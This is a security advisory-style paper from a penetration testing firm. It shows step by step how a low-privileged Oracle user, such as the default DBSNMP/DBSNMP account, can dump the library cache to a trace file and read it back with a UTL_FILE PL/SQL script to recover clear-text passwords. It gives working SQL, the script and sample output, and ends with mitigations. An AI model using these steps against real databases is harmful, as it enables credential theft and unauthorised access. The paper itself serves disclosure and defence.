pentest
security assurance

Paper To Explore Revealing Clear Text Passwords from the Oracle SGA

By Pete Finnigan

Overview

This paper is the posting made to www.securityfocus.com a few weeks ago. This paper expolors how a user with the right privileges can read clear text passwords from the Oracle SGA.

The Posting

I have been doing an audit on Oracle databases at a customer site and come across a situation where it could be possible to extract Oracle Passwords in clear text from the SGA (System Global Area) given the circumstances described below.

Has anyone else seen this, is it a common mistake made in setting up Oracle databases. I have seen it at a previous site also.

The following situation is needed:-

- An Oracle user that has been granted the Oracle role CONNECT. This role has the system privilege "ALTER SESSION". Or a user that has been granted "ALTER SESSION" directly.
- An Oracle user that has been granted select on the SYS owned view V$PARAMETER. In fact "SELECT" has to have been granted on the underlying view V_$PARAMETER, as V$PARAMETER is actually a synonym. The ROLE SNMPAGENT has this privilege.
- Access is needed to the built in package UTL_FILE. This package generally has public access granted as default. This will only not be the case if a DBA has revoked this privilege.
- The directory parameter from the initialisation file "utl_file_dir" needs to have been set to the same directory as the trace file location "user_dump_dest".
- Someone needs to have added a user using "CREATE USER..." or "GRANT CONNECT..." or altered a users password using "ALTER USER..."

That seems like a large set of requirements, BUT, its not too difficult to how we could get them and see passwords in clear text.

I cannot show the exact results from site, so here is an equivalent example. The case on the customers site was on Oracle 8.1.6 and 8.0.5, this example is on windows and oracle 8.1.5:-

The default user DBSNMP which has the password DBSNMP on installation is just what we are looking for. This user is installed by default and from experience this default password is usually not changed. This user has the roles CONNECT and SNMPAGENT. So we can "alter session" and select from v$parameter. That only leaves the "utl_file_dir". This what we need to do:-

1 - Start sqlplus as dbnsmp as follows

```
pxf:sputnik>sqlplus dbsnmp/dbsnmp
```

2 - Next we need to find out if the utl_file_dir is set to the same location as trace files are written, "user_dump_dest". Do the following

```
SQL> select name,value
  2  from v$parameter
  3  where name in ('user_dump_dest','utl_file_dir');

NAME
------------------------------------------------------------
---
VALUE
------------------------------------------------------------
-----------
----
------------------------
utl_file_dir
C:\Oracle\admin\PENT\udump

user_dump_dest
C:\Oracle\admin\PENT\udump


SQL>
```

This is only an example, but the two production databases i have seen had the utl_file_dir set in one case just to the trace file directory and in the other case to "*". The above shows that the trace directory is indeed the same as the utl_file_dir. This parameter can also be set to "*" which means the UTL_FILE built in package can read and write files to any OS directory as long as the owner of the Oracle software has permission on the directory. This would include the trace directory.

Next we need to dump the library cache to a trace file. This will include any SQL that is still in the SGA, including passwords in clear text. We also need to know the pid of the process we are running so we can deduce the name of the trace file.

To select the PID from the database we need to have the privilege SELECT granted on v_$PROCESS the underlying view pointed at by V$PROCESS and also on V$SESSION and the underlying view V_$SESSION. Again this permission is granted to the ROLE SNMPAGENT granted to the user DBSNMP. For another user use "ps" to get the OS pid of the shadow process.

This is as follows:-

```
SQL> select p.spid,s.username usrname
  2  from v$process p, v$session s
  3  where p.addr=s.paddr
  4  and s.username=user;
```

```
SPID      USRNAME
--------- ------------------------------
324       DBSNMP

SQL>
```

The PID is 324, next dump the library cache to trace a trace file in the "user_dump_dest"

```
SQL> alter session set events 'immediate trace name
library_cache level
10';

Session altered.

SQL>
```

This command creates a trace file in the directory pointed at by the parameter "user_dump_dest". This directory is not visible to users who are not the oracle software owner or in the OSDBA group usually the unix group "dba". So DBSNMP cannot even see the contents of this directory to see the file name or even to read the file it has just created. But we know the format of the file name on windows its ORA[XXXXX].trc where XXXXX is the PID found above, ie the file we need is ORA00324.trc in c:\Oracle\Admin\PENT\udump\

On Unix the file name is ora_[pid].trc and if there are multiple instances its ora_[SID]_[PID].trc.

Next we need to read the trace file. This is achieved with the public utility UTL_FILE. This package as stated allows us to read and write files pointed at by utl_file_dir.

A search for passwords can be done as follows:-

save this to a file say read_trc.sql

```
--
-- read_trc.sql
--
declare
        fptr    utl_file.file_type;
        buff    varchar2(2048);
        line_no number(10):=0;
        loc_no  integer;
begin

fptr:=utl_file.fopen('C:\Oracle\admin\PENT\udump','ORA00324.TRC','R')
;
        loop
                line_no:=line_no+1;
                utl_file.get_line(fptr,buff);
                loc_no:=instr(upper(buff),upper('identified
by'));
```

```
                        if loc_no>0 then
                                dbms_output.put_line(line_no||'
'||buff);
                        end if;
                end loop;
        exception
                when no_data_found then
                        utl_file.fclose(fptr);
                        dbms_output.put_line('Number of lines parsed
='||line_no);
                when value_error then
                        dbms_output.put_line('value error');
                        raise_application_error(-20100,'file error');
                when utl_file.invalid_path  then
                        dbms_output.put_line('invalid path');
                        raise_application_error(-20100,'file error');
                when utl_file.invalid_mode  then
                        dbms_output.put_line('invalid_mode');
                        raise_application_error(-20100,'file error');
                when utl_file.invalid_filehandle  then
                        dbms_output.put_line('invalid_filehandle');
                        raise_application_error(-20100,'file error');
                when utl_file.invalid_operation  then
                        dbms_output.put_line('invalid_operation');
                        raise_application_error(-20100,'file error');
                when utl_file.read_error  then
                        dbms_output.put_line('read_error');
                        raise_application_error(-20100,'file error');
                when utl_file.write_error  then
                        dbms_output.put_line('write_error');
                        raise_application_error(-20100,'file error');
                when utl_file.internal_error  then
                        dbms_output.put_line('internal_error');
                        raise_application_error(-20100,'file error');
                when others then
                        dbms_output.put_line('un-handled');
                        raise_application_error(-20100,'file error');
        end;
        /
```

running gives:-

```
        SQL> set serveroutput on size 1000000
        SQL> @read_trc
        909   name=alter user system identified by manager
        2677   name=grant connect, resource,dba to ddf identified by
ddf
        Number of lines parsed = 5992

        PL/SQL procedure successfully completed.

        SQL>
```

This shows that someone has changed the password for the user SYSTEM and we can see its been set to MANAGER and a user DDF has been created with a password DDF, this user is also a DBA.

The example is also noddy, the whole process should be written entirely in PL/SQL so it can be just run as a test.

I will write this as one piece of code do do the whole check and make it available if anyone is interested. In my opinion this is not a vulnerability as Oracle do state in their documentation not to set the location for the package UTL_FILE (utl_file_dir) to any location you would not want normal users to read or write. Also the default passwords should be changed.

Summary

- Change the default passwords, ie DBSNMP is dangerous
- Don't set utl_file_dir = user_dump_dest or to "*" or to "."
- Restrict the package UTL_FILE from public and to only those users that actually need it.

About Pentest Ltd.

Established in 2001, Pentest Limited is a leading international provider of IT security, specialising in Web Application Security and Penetration Testing services. Pentest provides independent, practical advice to a wide range of clients across the UK, Europe, USA and Asia. For more information, or for further details about Pentest's services, please visit www.pentest.co.uk or call +44 (0) 161 233 0100.